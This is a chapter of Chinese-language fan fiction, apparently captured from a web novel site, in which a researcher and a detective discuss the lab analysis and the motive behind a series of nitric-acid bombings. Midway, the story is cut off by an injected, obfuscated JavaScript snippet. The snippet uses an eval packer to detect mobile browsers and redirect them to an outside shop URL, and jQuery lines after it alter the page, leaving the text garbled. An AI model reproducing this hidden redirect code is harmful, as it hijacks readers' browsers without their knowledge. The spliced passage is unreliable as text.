第二天,真狩朔和诸伏高明分别开车离开了公寓。
真狩朔自然是去了东大研究院,作为东大研究院对此次案件负责的主要调查人。他并不只是需要处理和接手化验事项这么简单,人员的筛查、统筹和管理,这些任务通通落在了他的身上。
诸伏高明也在情况紧急之下,被警视厅临时征召,支援调查工作去了。
一时间,真狩朔认识的所有人都忙得脚不沾地。
就连降谷零也对诸伏高明发来了简讯,表示了歉意。并解释因为出现了紧急事件,所以白马旅店的案子需要提前结案。
到最后诸伏高明还是只休了三天假,最后一天还是在三个爆炸案中度过的。
真狩朔猜想着,降谷零和诸伏景光这些公安或许也在为了这起,事态影响范围越来越大的硝酸炸弹案而头疼。
毕竟临近年关,还出现了伤亡如此惨痛的事件。无论是出于什么考虑,此案都必须彻查到底。
但是在上午十点,又是一颗硝酸炸弹的爆炸,将此次事件推上高潮。
此次来送炸弹内容物到研究院化验的,是松田阵平。
卷发青年的头发乱糟糟的,显然是刚摘下头盔还没有来得及打理,或者说直接忘记要去打理了。
他将密封箱递到了真狩朔的手上后,直接往身边的椅子上一坐,也没心思打招呼,条件反射地就想掏出怀中的香烟来上一根。
“先生,这里禁止吸烟。”真狩朔动作利落地打开了密封箱,提醒道。
真狩朔看到松田阵平的动作顿了一下,小声嘟囔了一句,他用烟敲了敲烟盒,然后将这根烟原封不动地推了回去。
绿眼青年隐约听到他说的是:……真是气得我连实验室的规矩都忘了。
“还是没有别的线索吗?”于是真狩朔问。
松田阵平的身体从椅子上滑下来一截,他将头伸到椅背外,脖颈后的脊椎抵在椅背顶端,呈现出一个非常没有形象,也非常放松的姿势,道:
“那你就得去问问诸伏、我是说诸伏高明警官了,今早我去开会的时候还看到他了,他因为在三町目的爆炸现场,所以直接就被分配去调查那里的爆炸案了。”
真狩朔的动作顿了一下,“是吗,我倒听说他今天上午还要负责交接一个从长野来的犯人。”
松田阵平看了真狩朔一眼,评价道:“那他这一天也不清闲。”
“现在情况如此,谁能清闲得下来呢?”
不知道为什么,真狩朔总感觉有些心神不宁,他看了一眼腕间的手表,此刻刚好十一点。
绿眼青年将手中处理过的实验样品做了最后一次分离,随后将其送入了检测仪。
“一会儿留下来吃个饭吗?快到午饭时间了。”真狩朔甩去了脑中莫名的预感,微笑着问松田阵平。
松田阵平挠了挠头,“你这……能打包吗?”
真狩朔愣愣地回头看他。
“哦,最好还是能打包二十几人份的那种。”
松田阵平补充道:“我和hagi的两队人,从早上到现在还一口饭都没吃上呢。”
你当我这儿饭店呢?真狩朔真想这么回他一句。
“……可以。”
但真狩朔只是沉默了一下,就同意了这个离谱的要求,并摸出了手机,打给了后勤负责人。
松田阵平露出了肯定的表情,并竖起了大拇指。
“这算是今天的第一个好消息了。”卷发警官道:“你呢?实验室这边有没有查出什么?”
“那你接下来,就要再接受一个今天的又一个坏消息了。”真狩朔背靠在工作台上,双臂支撑着台面,挑眉看向松田阵平。
两个黑发帅气青年一站一坐,隔着实验台对视。
只不过一个穿着皱巴巴的衬衫,被工作和犯人气得焦头烂额。而另一个衣冠楚楚,依旧维持着表面上的光鲜体面。
“今天我都不知道听了多少坏消息了,再来一个也没什么。”松田阵平打了个哈欠,无所谓地摆摆手。
真狩朔耸肩,说道:“从内部调查来看,我倒是没发现什么可疑人员。但是研究院的管理有一个致命疏漏,那就是调查人员的出入登记。”
松田阵平翘起了二郎腿,反问道:“既然有出入登记,那是哪里出了疏漏?”
话刚一出口,卷发青年就好像想到了什么,轻轻“啧”了一声。
“看来你也想到了。”真狩朔摊了一下手。
“由于我们东大研究院有警务专用实验楼,而前来化验物证的各方警员又太过繁杂,所以在此次事件之前,原则上是警务人员只需出示自己的警察证,就能进入研究院,而不需要登记。”
松田阵平拿手指关节敲了敲胀痛的脑壳,“这样一来,研究员反而因为有登记和打卡证明容易查证。什么都没留下的警察,此刻的嫌疑更大。”
真狩朔笑了一下,决定先给颗甜枣,“和聪明人说话就是简单。”
然后反手接了一句,“当然,也不能排除你们从警视厅内部就泄密了的可能。”真狩朔开口就是一把刀子,捅的卷发警官不想说话。
松田阵平终于没忍住以手抚面,“果然又是个坏消息。”
绿眼青年笑了一下,他身体前倾,稍稍凑近了对方。
“那么,看在我为你们准备了二十多份便当,和优先把此情况告诉了你的面子上……说说吧,你们那边的情况。”
“我可不相信你们开了这么多会,会一点新情报都没有。”
松田阵平还维持着仰面遮脸的动作,闻言翘起了一根手指,眼睛从缝隙中看了真狩朔一眼。
拿人手短,吃人嘴软。
松田阵平露出了一个你这人还挺难搞的表情,放下了手,稍稍端正了坐姿。
真狩朔也满意地直起了身,锃亮的皮鞋在地面上敲出几声轻响。
“案件的大致情况我也不和你再去重复了。只一点,警视厅已经基本锁定了安放炸弹的嫌疑人形象。”松田阵平道:
“昨天清晨的五点二十六分,我们在译水公寓的监控中,发现了疑似嫌疑人的可疑男子。不过由于当时天还没亮,能见度有限,无法看清嫌疑人的具体形象。”
“但是在十点发生的三町目爆炸案中,监控又一次拍到了那位疑似嫌疑人的身影。经过交叉比对,可以确认两人为同一人。”
真狩朔挑了挑眉,还在等松田阵平继续往下说。
可没想到松田阵平就此打住了。
绿眼青年只好面露不解地追问,“然后呢?嫌疑人形象是什么?”
松田阵平此刻则双臂抱胸,露出了一副你上钩了的表情。他的身体微微后仰,将椅子的两个前脚抬离地面,轻轻晃动着椅身,慢悠悠道:
“在此之前,要不我们先讨论一下———犯罪嫌疑人为什么没有升级案件等级,反而费力要将能造成更大伤亡的火灾案,重新转换为伤人案?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286604|195897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
真狩朔侧头无声地笑了,他的舌尖触过唇角,眼中有了几分兴致。
“很明显,你自己也说了。”
他的皮鞋在地板上发出规律的轻响,口中的话也显得有几分冰冷,“他要的不是伤亡,而是伤人。”
“依我看,如果这个嫌疑人真的是一个疯子,他想引起社会关注,那此刻他就该联系警视厅或者报社、电视台,来发表自己不切实际的狂妄言论了。”
“但是他没有,说明这仅仅是他个人的一种发泄行为,或者是别有目的的行为。”
“不过我个人倾向于,这不是发泄,而是一场有目的的行动。”
真狩朔双臂前撑,笑道:“以下是我的思路阐述———”
松田阵平面上浮现出笑意,“我在听,请。”
身后的检测仪发出了“滴——”的一声。真狩朔从打印机中取出完整的对比报告,扫视一眼后,用两指夹起,递给了松田阵平。
真狩朔:“这是今天的炸弹内容物分析报告,化验结果为,和前五起案件所使用的爆炸内容物基本相同,并且只和四、五这两起案件一样,在炸弹中发现了氢氧化钠成分,也就是说这是第六起的同类事件了。”
“据我所知,今天和昨天的案件全部发生在白天,也是因此,摄像头照到了他的外在形象,为警视厅办案提供了线索。”
“很显然,如果仅仅是为了发泄心中的不满和愤怒,第一选择就该是在晚上行动。而他不仅选择了白天,甚至还选择了有监控的地点作案。”
“说明:一他需要他的行为后果产生的效应发生在白天。二他选择的地点不是随机的,言下之意,爆炸必须发生在这个地方。”
“由此可得:这六起案件并非发泄行为,而是有预谋的犯罪。”
松田阵平:“你分析的很有道理。不过我需要告诉你的是,第一、第二起案件均发生于晚上,也因此,我们无法在监控中辨别出有效内容,也没能提前获取犯罪嫌疑人外貌。”
“这也很好解释。”真狩朔举起了一只手,继续说道:
“我们知道第一起案件发生在半年前,第二起则发生于三个月前。与后四起案件不同,这两起的间隔如此之长。”
“那么也有两种解释,第一,犯罪不熟练。”
“第二,这是在试验。”
真狩朔放下了手,“试验硝酸混合物的伤害是否能达到预期?试验最佳的抛洒高度是多少?试验抛洒量需要多少才能达到最佳效果?”
绿眼青年像是认真解答学生问题的老师,专注而又自信,他身上的气质太过耀眼,以至于将这有些混乱的实验室都衬托成了演讲大厅。
“在第一次的试验之后,他显然改良了方案,所以才在三个月之后又试验了一次。”
“我们可以看到,报告中显示,第一和第二次抛洒溶液的内容物配比稍有不同。起初我以为这是提取样本时而产生的偏差。但现在看来,你倒是给我提供了一个更合理的理由和思路。”
“也就是前两次犯罪,他确实是在试验。”
“然后在昨天,他决定正式实施犯罪。”
“怎么样?不知道您对我的考核,我通过了吗?松田考官?”
真狩朔拉开椅子,坐到了松田阵平旁边。
“zero那家伙说的没错,你果然也该来考警校。”
松田阵平伸出了一只拳头,真狩朔也抬手握拳,和他轻轻碰了一下。